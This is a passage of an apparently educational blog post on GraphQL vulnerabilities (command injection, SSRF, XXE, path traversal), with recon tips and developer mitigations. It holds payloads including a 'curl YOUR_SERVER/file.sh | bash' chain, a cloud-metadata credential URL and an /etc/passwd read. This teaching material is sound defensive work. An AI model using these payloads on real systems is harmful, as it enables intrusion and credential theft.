Injection</h3><h4>Scenario:</h4><pre>mutation { <br> pingHost(ip: &quot;8.8.8.8&quot;) <br>}</pre><h4>Backend:</h4><pre>exec(`ping ${ip}`, …)</pre><h4>Payload:</h4><pre>mutation { <br> pingHost(ip: &quot;8.8.8.8 &amp;&amp; whoami&quot;) <br>}</pre><p>➡️ Server runs both commands. You leak system info.</p><h4>Exploit Chain:</h4><p><strong>- Start with </strong>‘<strong>whoami</strong>‘<strong>, </strong>‘<strong>uname -a</strong>‘<strong><br>- Chain with </strong>‘<strong>; curl YOUR_SERVER/file.sh | bash</strong>‘<strong><br>- Reach Remote Code Execution</strong></p><h3>How to Fix For Developers (Mitigation):</h3><p>-Avoid passing user input directly to shell commands<br>- If you must run system commands, use <strong>safe libraries/APIs</strong> (not shell-based)</p><p><strong>Safer:</strong></p><pre>const { spawn } = require(&quot;child_process&quot;); <br>const ls = spawn(&quot;ping&quot;, [ip]);<br>- Sanitize input strictly (e.g., regex for IP addresses)<br>if (!/^\d{1,3}(\.\d{1,3}){3}$/.test(ip)) { <br> throw &quot;Invalid IP&quot;; <br>}</pre><ul><li>Use allow-lists: Only allow known commands or formats<br>- Escape and validate every argument if dynamic command building is required</li></ul><h3>3- SSRF (Server-Side Request Forgery)</h3><h4>Scenario:</h4><p>A query like:</p><pre>{ <br> getImageMetadata(url: &quot;http://target.com/image.jpg&quot;) <br>}</pre><p>If the backend fetches the URL → you control where it goes.</p><h4>Payload:</h4><pre>{ <br> getImageMetadata(url: &quot;http://localhost:8080/admin&quot;) <br>}<br>OR <br>getImageMetadata(url: &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;)</pre><h4>You can:</h4><p>- Access internal dashboards<br>- Read cloud metadata (‘<a href="http://169.254.169.254`/">http://169.254.169.254</a>‘)<br>- Interact with Redis, Docker APIs, etc.<br>- Chain to RCE (e.g., via Gopher)</p><h3>How to Fix For Developers (Mitigation):</h3><ul><li><strong>Never trust user-provided URLs</strong> for internal requests<br>- Use <strong>allow-lists</strong> (domains/IPs you allow access to)<br>- Block localhost and internal IPs:</li></ul><pre>const net = require(&#39;net&#39;); <br>const ip = new URL(inputUrl).hostname; <br>dns.lookup(ip, (err, address) =&gt; { <br> if (address.startsWith(&#39;127.&#39;) || address === &#39;::1&#39; || address.startsWith(&#39;169.254&#39;)) { <br> throw &quot;Blocked: SSRF attempt&quot;; <br> } <br>});</pre><ul><li>Set timeouts and max response size<br>- Reject URLs with ‘file://‘, ‘gopher://‘, ‘ftp://‘, etc.<br>- Block ports like ‘localhost:22‘, ‘169.254.169.254‘</li></ul><h3>4-XXE (XML External Entity)</h3><h4>When It Happens:</h4><p>GraphQL mutation accepts file uploads or XML as input.</p><pre>mutation {<br>  uploadXML(data: &quot;&lt;&lt;XML Payload Here&gt;&gt;&quot;)<br>}</pre><p>If the backend parses XML without disabling external entities → you get file read or SSRF.</p><h3>How to Fix For Developers (Mitigation):</h3><p>- <strong>Disable external entities</strong> in your XML parser</p><pre>const parser = new libxmljs.DOMParser(); <br>parser.parse(xml, { noent: false, dtdload: false })<br>parser = etree.XMLParser(resolve_entities=False, no_network=True)</pre><p>- Reject DTD declarations completely (use regex or parser settings)<br>- Don’t accept raw XML from users unless absolutely necessary<br>- Switch to <strong>JSON-based input</strong> where possible</p><h3>5- Path Traversal</h3><h4>Example:</h4><pre>{ <br> readFile(path: &quot;../../etc/passwd&quot;) <br>}</pre><p>If backend uses the input like:</p><p>fs.readFileSync(‘uploads/${path}‘)</p><p>➡️ You escape the directory, and read sensitive files.</p><h3>How to Fix For Developers (Mitigation):</h3><p>- Always sanitize file paths</p><pre>const path = require(&quot;path&quot;); <br>const safePath = path.join(__dirname, &quot;uploads&quot;, filename); <br>if (!safePath.startsWith(path.join(__dirname, &quot;uploads&quot;))) { <br> throw &quot;Path traversal detected&quot;; <br>}</pre><p>- <strong>Use allow-lists</strong> (e.g., only serve known filenames)<br>- Avoid accepting file names as input — use UUIDs or generated names<br>- Set proper file system permissions on sensitive folders<br>- Never expose user-controlled paths to ‘readFile‘,‘ writeFile‘, etc.</p><h3>How to search and discover graphql?</h3><p>Before testing for vulnerabilities, you need to <strong>discover the GraphQL endpoint</strong>.<br> Not all APIs use /graphql — some hide it under other paths.</p><h3>Common GraphQL Paths to Bruteforce:</h3><pre>/graphql  <br>/graphiql  <br>/graphql.php  <br>/graphql/console  <br>/api  <br>/api/graphql  <br>/graphql/api  <br>/graphql/graphql  <br>/v1/graphql  <br>/v2/graphql  <br>/graphql/v1  <br>/graphql/v2  <br>/gql  <br>/graphql-playground  <br>/playground  <br>/altair  <br>/query</pre><p>These paths are often overlooked by scanners — but they’re <strong>frequently used in real apps</strong>.</p><h3>Tool Spotlight: graphw00f</h3><p><a href="https://github.com/dolevf/graphw00f"><strong>graphw00f </strong></a>is a tool for GraphQL <strong>fingerprinting during recon</strong>.<br> It helps identify:</p><ul><li>Whether GraphQL is exposed</li><li>What engine is running (Apollo, Graphene, etc)</li><li>Some basic technologies behind the API</li></ul><h4>Usage:</h4><pre>graphw00f -t https://target.com/graphql</pre><h4>Output:</h4><pre>[*] Checking if GraphQL is available at https://example.com/graphql...<br>[*] Found GraphQL...<br>[*] Attempting to fingerprint...<br>[*] Discovered GraphQL Engine: (HyperGraphQL)<br>[*] Technologies: Java<br>[*] Homepage: https://www.example.com<br>[*] Completed.</pre><h3>Why This Matters</h3><ul><li>Discovering the correct endpoint is <strong>step 1</strong> before exploiting anything</li><li>Knowing the GraphQL <strong>engine</strong> gives you insight into known bugs or weaknesses</li><li>Some engines expose extra dev tools (e.g., GraphiQL or Playground)</li></ul><blockquote>If you’re a developer using GraphQL, or a hacker wanting to understand what’s causing vulnerabilities in your code, this list will be your guide.</blockquote><h3>1. Disable Introspection in Production</h3><p>introspection: process.env.NODE_ENV !== “production”</p><p>- Introspection is useful in dev — but deadly in prod.</p><p>- It exposes your entire schema: types, queries, mutations.</p><h3>2. Implement Field-Level Authorization</h3><p>Don’t rely on auth in just the main query/mutation.</p><p>Instead, apply access control inside resolvers:</p><pre>user: (_, { id }, context) =&gt; { <br> if (context.user.id !== id &amp;&amp; !context.user.isAdmin) { <br> throw new Error(&quot;Unauthorized&quot;); <br> } <br> return Users.findById(id); <br>}</pre><h3>3. Use Depth Limit &amp; Complexity Limit</h3><p>Avoid DoS via deep or complex queries.</p><pre>const depthLimit = require(&#39;graphql-depth-limit&#39;); <br>const { createComplexityLimitRule } = require(&#39;graphql-validation-complexity&#39;); <br>app.use(&#39;/graphql&#39;, graphqlHTTP({ <br> schema, <br> validationRules: [ <br> depthLimit(5), <br> createComplexityLimitRule(1000) <br> ] <br>}));</pre><h3>4. Sanitize All Inputs Before Using Them Anywhere</h3><p>- Don’t pass GraphQL variables directly into SQL, shell, file system, or internal APIs.<br>- Apply strict validation, types, length, allow-lists.</p><h3>5. Enforce Rate Limiting</h3><p>Even if you have just 1 endpoint (‘/graphql‘), apply rate limits per user/IP</p><pre>const rateLimit = require(&#39;express-rate-limit&#39;); <br>app.use(&#39;/graphql&#39;, rateLimit({ <br> windowMs: 15 * 60 * 1000, // 15 minutes <br> max: 100 // limit each IP to 100 requests <br>}));</pre><h3>6. Whitelist Allowed Operations</h3><ul><li>Only expose the queries/mutations you actually need — avoid exposing everything in the schema.</li><li>Use custom middleware or schema wrappers to block sensitive operations based on user role.</li></ul><h3>7. Log, Monitor, and Alert</h3><p>- Log unexpected or large queries<br>- Track query execution time and depth<br>- Set up alerts for abuse (e.g., 1000 alias requests from one IP)</p><h3>8. Avoid Leaking Stack Traces or Internal Errors</h3><p>GraphQL likes to throw useful dev errors — but attackers love them too.</p><p>Use a custom error handler that returns generic messages in prod:</p><pre>formatError: (err) =&gt; { <br> return { <br> message: &quot;Something went wrong&quot;, <br> }; <br>}</pre><h3>9. Validate Schema Changes Before Deploying</h3><p>A new mutation can introduce:</p><p>- Privilege escalation<br>- Unsafe resolver logic<br>- Access to sensitive data</p><p>Always audit new fields + resolvers before pushing to production.</p><h3>10. Audit Third-Party Resolvers &amp; Libraries</h3><p>Don’t trust plug-and-play GraphQL plugins — read their code and how they handle:</p><p>- Auth<br>- Validation<br>- Error formatting</p><h3>Final Thought</h3><blockquote>GraphQL is powerful — but that power comes with complexity. <br> Without strict controls, you’re not building an API… you’re building an attack surface.</blockquote><h4>references and sources:</h4><p><a href="https://portswigger.net/web-security/graphql">GraphQL API vulnerabilities | Web Security Academy</a></p><p>chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/<a href="https://storage.ptsecurity.com/seafhttp/f/1eb98acb08004c7eadb9/?fbclid=IwZXh0bgNhZW0CMTAAYnJpZBExN0t5Nm1vRmJRYW04TFRZMgEeLaoLf_zwo922R6ekW3HeN1Q_D1zy-nl3cnmxih4aByD-qOOf5hGZKhmB_N0_aem_hYmmx_4hrYgYnkDjKDsjzQ">https://storage.ptsecurity.com/.../f/1eb98acb08004c7eadb9/</a></p><h4>Book:</h4><p>Black Hat GraphQL (Nick Aleks and Dolev Farhi)</p><h4>videos:</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQcAPUWXbncc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQcAPUWXbncc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQcAPUWXbncc%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b2ee183216b3fc2e0e0cfedb5c4cd2ec/href">https://medium.com/media/b2ee183216b3fc2e0e0cfedb5c4cd2ec/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F00rZJFMrLlE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D00rZJFMrLlE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F00rZJFMrLlE%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/34263de515007951683ad1421b6382e4/href">https://medium.com/media/34263de515007951683ad1421b6382e4/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOQCgmftU-Og%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOQCgmftU-Og&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOQCgmftU-Og%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/261480a5449c7ad861de5ac8b7878c22/href">https://medium.com/media/261480a5449c7ad861de5ac8b7878c22/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQonyaNVeEGo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQonyaNVeEGo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQonyaNVeEGo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/1bfa1fcf21cb2db6627611a1f0019c69/href">https://medium.com/media/1bfa1fcf21cb2db6627611a1f0019c69/href</a></iframe><h4>Tools:</h4><ul><li><a href="https://github.com/dolevf/graphw00f">GitHub - dolevf/graphw00f: graphw00f is GraphQL Server Engine Fingerprinting utility for software security professionals looking to learn more about what technology is behind a given GraphQL endpoint.</a></li><li><a href="https://github.com/swisskyrepo/GraphQLmap">GitHub - swisskyrepo/GraphQLmap: GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)</a></li><li><a href="https://graphql-kit.com/graphql-voyager/">GraphQL Voyager</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*O-VS6Px7tMZsiEi0ppwFPg.gif" /></figure><p>Contact with me :</p><p><a href="https://www.facebook.com/hamdy.hany.165/">FaceBook</a></p><p><a href="https://x.com/m000xy">X</a></p><p><a href="https://www.linkedin.com/in/m00xy/">LinkedIn</a></p><p>Happy Hacking 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=355fecb02eb0" width="1" height="1" alt="">]]></content:encoded>
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